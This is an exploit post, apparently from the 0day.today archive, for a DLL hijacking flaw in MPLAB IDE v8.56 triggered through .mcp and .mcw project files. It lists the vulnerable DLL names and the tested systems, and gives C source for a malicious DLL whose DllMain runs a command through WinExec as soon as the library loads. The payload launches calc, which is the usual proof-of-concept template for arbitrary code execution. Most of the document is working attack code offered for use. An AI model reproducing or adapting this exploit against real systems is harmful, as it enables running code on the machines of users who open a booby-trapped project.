MPLAB IDE .mcp .mcw DLL Hijacking

=================================
MPLAB IDE .mcp .mcw DLL Hijacking
=================================
 
/*
 MPLAB IDE .mcw DLL Hijacking
 Date: August 31, 2010
 Author: kB0]1_
 Software: http://www.microchip.com/stellent/idcplg?IdcService=SS_GET_PAGE&nodeId=1406&dDocName=en019469&part=SW007002
 Version: v.8.56
 Vulnerable Extensions: .mcp,.mcw
 Vulnerable dll's: mfc71loc.dll,mfc71nld.dll,pe932b.dll,pe936b.dll,pegrc32b.dll
 Tested on: XP Pro SP2 & Vista SP2
*/
 
#include <windows.h>
 
int pwnme()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  pwnme();
  return 0;
}



#  0day.today [2018-04-14]  #